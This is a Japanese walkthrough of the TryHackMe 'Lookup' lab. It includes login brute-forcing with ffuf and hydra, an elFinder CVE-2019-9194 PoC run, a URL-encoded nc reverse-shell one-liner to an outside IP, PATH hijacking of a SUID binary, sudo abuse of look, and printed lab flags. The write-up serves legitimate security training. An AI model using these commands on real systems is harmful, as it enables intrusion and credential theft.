【TryHackMe】Lookup：Walkthrough

# 概要

TryHackMe「Lookup」ルームのWalkthroughです。

https://tryhackme.com/r/room/lookup

# Task1

## **Q1**.*What is the user flag?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sVC -A -p- 10.10.183.228 -oN nmap_result

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://lookup.thm
|_http-server-header: Apache/2.4.41 (Ubuntu)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.2p1|
|80|http|Apache httpd 2.4.41|

ドメイン名が分かったので`/etc/hosts`に追加します。

```
10.10.183.228   lookup.thm
```

`80`番ポートにアクセスするとログインフォームが表示されました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/aea8b64c-73d7-e6b0-ab7e-1c2e19f80f9c.png)

ログインに失敗すると3秒後に試せるようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6d067bf4-77b2-1c1a-3c0a-3c7670e19443.png)

サブドメインを列挙します。

```
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.lookup.thm" -u http://lookup.thm -fs 0

www                     [Status: 200, Size: 719, Words: 114, Lines: 27, Duration: 3901ms]
```

`www.lookup.thm`を`/etc/hosts`に追記します。

```
10.10.183.228   lookup.thm www.lookup.thm
```

しかし、`www.lookup.thm`も同一ページへのアクセスでした。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7dca9782-c4b8-998c-57e6-15511136fbe9.png)

`Username: admin`でエラーメッセージの変化が見られました。
`admin`アカウントの存在を確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3345b652-691d-b5a4-7683-7e08a00afa16.png)

`admin`のパスワードをファジングすると`password123`が見つかりました。

```
$ ffuf -w /usr/share/wordlists/rockyou.txt -X POST -u http://lookup.thm/login.php -d 'username=admin&password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded" -fw 8

password123             [Status: 200, Size: 74, Words: 10, Lines: 1, Duration: 246ms]
```

しかしログインに失敗しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9af3293a-f15f-1aaf-8250-38e1f15caa84.png)

さらにユーザー名を列挙すると`jose`アカウントを発見しました。

```
$ ffuf -w /usr/share/seclists/Usernames/Names/names.txt -X POST -u http://lookup.thm/login.php -d 'username=FUZZ&password=pass' -H "Content-Type: application/x-www-form-urlencoded" -fw 10

admin                   [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 242ms]
jose                    [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 242ms]
```

`jose`アカウントのパスワードを探すと、`password123`が見つかりました。

```
$ ffuf -w /usr/share/wordlists/rockyou.txt -X POST -u http://lookup.thm/login.php -d 'username=jose&password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded" -fw 8

password123             [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 239ms]
```

`Username: jose`,`Password: password123`でログインに成功すると、`files.lookup.thm`にリダイレクトされるので`/etc/hosts`に追記します。

```
10.10.191.231   lookup.thm www.lookup.thm files.lookup.thm
```

`elFinder`のページに遷移しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/933c9290-f4b4-7966-2fda-eb5c1b54724c.png)

`elFinder 2.1.47`だと分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/6070afd0-38e8-9fb5-3426-5218881598d0.png)

このバージョンの脆弱性を探すと、`CVE-2019-9194`が見つかりました。

https://www.exploit-db.com/exploits/46481

適当なjpgファイルを`SecSignal.jpg`として用意します。

```
$ head -5 SecSignal.jpg      
����JFIF,,��VExifMM▒>(,,��,Photoshop 3.08BIMZ��
                                               �http://ns.adobe.com/xap/1.0/<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 10.10'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>

 <rdf:Description rdf:about=''
```

PoCを実行すると、`www-data`のシェルを取得できました。

```
$ python2.7 exploit.py http://files.lookup.thm/elFinder/
[*] Uploading the malicious image...
[*] Running the payload...
[+] Pwned! :)
[+] Getting the shell...
$ whoami
www-data
```

ncでリバーシェルを張り、TTYの設定をします。

```
$ rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.6.55.144%201234%20%3E%2Ftmp%2Ff
```

```
$ nc -lvnp 1234
$ python3 -c 'import pty; pty.spawn("bash")'
```

`think`アカウントを発見しました。

```
$ ls -la /home
total 12
drwxr-xr-x  3 root  root  4096 Jun  2  2023 .
drwxr-xr-x 19 root  root  4096 Jan 11  2024 ..
drwxr-xr-x  5 think think 4096 Jan 11  2024 think
```

SUIDを検索すると`/usr/sbin/pwm`を発見しました。

```
$ find / -perm -u=s -type f 2>/dev/null

(省略)

/usr/sbin/pwm
```

実行すると、`id`コマンドを実行し`/home/<username>/.passwords`ファイルを使用すると分かりました。

```
$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found
```

`/home/think/.passwords`ファイルの存在は確認できました。

```
$ ls -la /home/think
ls -la /home/think
total 40
drwxr-xr-x 5 think think 4096 Jan 11  2024 .
drwxr-xr-x 3 root  root  4096 Jun  2  2023 ..
lrwxrwxrwx 1 root  root     9 Jun 21  2023 .bash_history -> /dev/null
-rwxr-xr-x 1 think think  220 Jun  2  2023 .bash_logout
-rwxr-xr-x 1 think think 3771 Jun  2  2023 .bashrc
drwxr-xr-x 2 think think 4096 Jun 21  2023 .cache
drwx------ 3 think think 4096 Aug  9  2023 .gnupg
-rw-r----- 1 root  think  525 Jul 30  2023 .passwords
-rwxr-xr-x 1 think think  807 Jun  2  2023 .profile
drw-r----- 2 think think 4096 Jun 21  2023 .ssh
lrwxrwxrwx 1 root  root     9 Jun 21  2023 .viminfo -> /dev/null
-rw-r----- 1 root  think   33 Jul 30  2023 user.txt
```

`/usr/sbin/pwm`をローカルに持って来て、Ghidraでデコンパイルすると`id`コマンドを相対パスで使用しているのが分かりました。
また、idコマンドの結果からユーザー名を抽出し、`/home/<username>/.passwords`を操作していることも分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/8ee11461-8175-2b61-21d3-f0d7ca5624d8.png)

idコマンドを置き換え、`/home/think/.passwords`となるような処理のファイルを作成し、パスを通します。

```
$ echo '#!/bin/bash' > id
$ echo 'echo "uid=1000(think) gid=1000(think) groups=1000(think)"' >> id
$ chmod +x id
$ export PATH=/tmp:$PATH
```

再び`/usr/sbin/pwm`を実行すると、`/home/think/.passwords`の内容を確認できました。

```
$ /usr/sbin/pwm
/usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
jose1004
jose1002
jose1001teles

(省略)
```

得られたパスワードリストで総当たりすると`think`アカウントのSSHパスワードを特定できました。

```
$ hydra -f -l think -P think_pass lookup.thm ssh
[22][ssh] host: lookup.thm   login: think   password: josemario.AKA(think)
```

`think`アカウントでSSH接続に成功しました。

```
$ ssh think@lookup.thm
think@lookup:~$
```

`/home/think/user.txt`からユーザーフラグを入手できました。

```/home/think/user.txt 
38375fb4dd8baa2b2039ac03d92b820e
```

**A**.**38375fb4dd8baa2b2039ac03d92b820e**

## **Q2**.*What is the root flag?*

`sudo -l`で確認すると、`/usr/bin/look`を発見しました。

```
$ sudo -l
[sudo] password for think: 
Matching Defaults entries for think on lookup:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User think may run the following commands on lookup:
    (ALL) /usr/bin/look
```

GTFOBinsを確認すると、テクニックが見つかりました。

https://gtfobins.github.io/gtfobins/look/#sudo

ルートフラグを入手できました。

```
$ LFILE=/root/root.txt
$ sudo /usr/bin/look '' "$LFILE"
5a285a9f257e45c68bb6c9f9f57d18e8
```

**A**.****